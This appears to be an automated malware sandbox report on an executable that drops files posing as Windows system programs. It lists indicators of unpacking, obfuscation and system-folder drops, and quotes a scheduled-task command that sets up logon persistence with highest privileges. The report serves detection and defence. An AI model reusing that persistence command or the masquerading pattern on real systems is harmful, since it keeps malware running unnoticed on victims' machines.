File created: C:\Users\user\AppData\Local\Temp\fl.exe

Jump to behavior

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Code function: 0_2_00D57898 GetDiskFreeSpaceA,

0_2_00D57898

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\services32.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\services32.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: sihost32.exe.19.dr, RProgram.cs

Base64 encoded string: 'iDsqXVUUrrozp0AbL5BTYPR0iDjq4KiGuHePXVFV9K28rswXmN2nC/etL9RtgP7f10Sam46UV/ANfEGz0DEX3Q==', 'O6wcZ1WK2FacMltLzc/OJmWkxClrD4jYMZIIjUaEV6j1bkkpDgDOof2hV459e7QI6DlvreVmdACxGZ1KA3l6T+k6y3MD7GM8B2ap2UMiePPSG0R9WMQ3D1cNzFatl9NODyrYc3At05u5rX93CYYN5cbA/odPkzi1LCKpexxFAZiGpB4ninzv7IYKdGvPpv220+VWKUt8D4PmwE6EH9SjuBz5y0H5d/2DAfnlhHf0skNO5gKiUd5ilpMD0Pv2RuNY9RTqbdKArk9xodHYZYF6PNM5bUqRAsG5TA1az/iVMXWdoXUSn90IngzFMSWEwXNn4/aFyZyTxVQJgJ5LA2ONnNAPPh/yCx+xTtlT3zTt7Ho='

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4804:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6664:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5696:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6856:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4788:120:WilError_01

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: YfTokH7RIj.exe

Static file information: File size 1666048 > 1048576

Source: YfTokH7RIj.exe

Static PE information: Raw size of is bigger than: 0x100000 < 0x13fc00

Source:

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Unpacked PE file: 0.2.YfTokH7RIj.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Unpacked PE file: 0.2.YfTokH7RIj.exe.400000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:EW;Unknown_Section6:EW;.R03nlBA:EW;.adata:EW; vs Unknown_Section0:ER;Unknown_Section1:EW;Unknown_Section2:EW;

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D5C310 push 00D5C37Fh; ret	0_2_00D5C377
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D6E0C8 push 00D6E0F4h; ret	0_2_00D6E0EC
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D800A8 push 00D800E0h; ret	0_2_00D800D8
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D7E0A0 push 00D7E0CCh; ret	0_2_00D7E0C4
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D66028 push 00D66054h; ret	0_2_00D6604C
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D5C1D0 push 00D5C30Dh; ret	0_2_00D5C305
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D751CC push 00D751F8h; ret	0_2_00D751F0
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D5D1FC push 00D5D228h; ret	0_2_00D5D220
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D75194 push 00D751C0h; ret	0_2_00D751B8
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D6D1B4 push 00D6D1ECh; ret	0_2_00D6D1E4
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D851B0 push 00D851F2h; ret	0_2_00D851EA
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D67150 push 00D6717Ch; ret	0_2_00D67174
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D7D158 push 00D7D1A4h; ret	0_2_00D7D19C
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D75148 push 00D75180h; ret	0_2_00D75178
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D6E2D8 push 00D6E304h; ret	0_2_00D6E2FC
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D72290 push esi; ret	0_2_00D72344
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D8D2BC push 00D8D2E8h; ret	0_2_00D8D2E0
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D8526C push 00D85298h; ret	0_2_00D85290
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D75204 push 00D75230h; ret	0_2_00D75228
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D7523C push 00D75268h; ret	0_2_00D75260
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D85234 push 00D85260h; ret	0_2_00D85258
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D5C3C8 push 00D5C3F4h; ret	0_2_00D5C3EC
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D5C390 push 00D5C3BCh; ret	0_2_00D5C3B4
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D8538C push 00D853B8h; ret	0_2_00D853B0
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D5F344 push 00D5F3A1h; ret	0_2_00D5F399
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D8731C push 00D87348h; ret	0_2_00D87340
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D664F8 push 00D66530h; ret	0_2_00D66528
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D71490 push 00D714BCh; ret	0_2_00D714B4
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D6E49C push 00D6E4C8h; ret	0_2_00D6E4C0
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D6648C push 00D664B8h; ret	0_2_00D664B0
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D85414 push 00D85440h; ret	0_2_00D85438

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Code function: 0_2_00D6E100 GetModuleHandleA,LoadLibraryA,GetProcAddress,FreeLibrary,

0_2_00D6E100

Source: YfTokH7RIj.exe

Static PE information: 0xF66396F6 [Wed Dec 29 00:04:06 2100 UTC]

Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name: .R03nlBA
Source: YfTokH7RIj.exe	Static PE information: section name: .adata
Source: fl.exe.0.dr	Static PE information: section name: .vmp0
Source: fl.exe.0.dr	Static PE information: section name: .vmp1
Source: services32.exe.7.dr	Static PE information: section name: .vmp0
Source: services32.exe.7.dr	Static PE information: section name: .vmp1

Source: sihost32.exe.19.dr	Static PE information: real checksum: 0x0 should be: 0x4510
Source: fl.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x42ae2d
Source: YfTokH7RIj.exe	Static PE information: real checksum: 0x3c6678 should be: 0x1994fe
Source: services32.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x42ae2d

Source: initial sample	Static PE information: section name: entropy: 7.99537276593
Source: initial sample	Static PE information: section name: entropy: 7.7906284189
Source: initial sample	Static PE information: section name: entropy: 7.92840934453
Source: initial sample	Static PE information: section name: entropy: 7.52976471799
Source: initial sample	Static PE information: section name: .R03nlBA entropy: 7.9184571052

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Windows\System32\services32.exe	Executable created and started: C:\Windows\system32\Microsoft\Telemetry\sihost32.exe
Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows\system32\services32.exe

Source: C:\Windows\System32\services32.exe	File created: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File created: C:\Users\user\AppData\Local\Temp\fl.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\fl.exe	File created: C:\Windows\System32\services32.exe	Jump to dropped file

Source: C:\Windows\System32\services32.exe	File created: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\fl.exe	File created: C:\Windows\System32\services32.exe			Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"

Source: C:\Windows\System32\services32.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
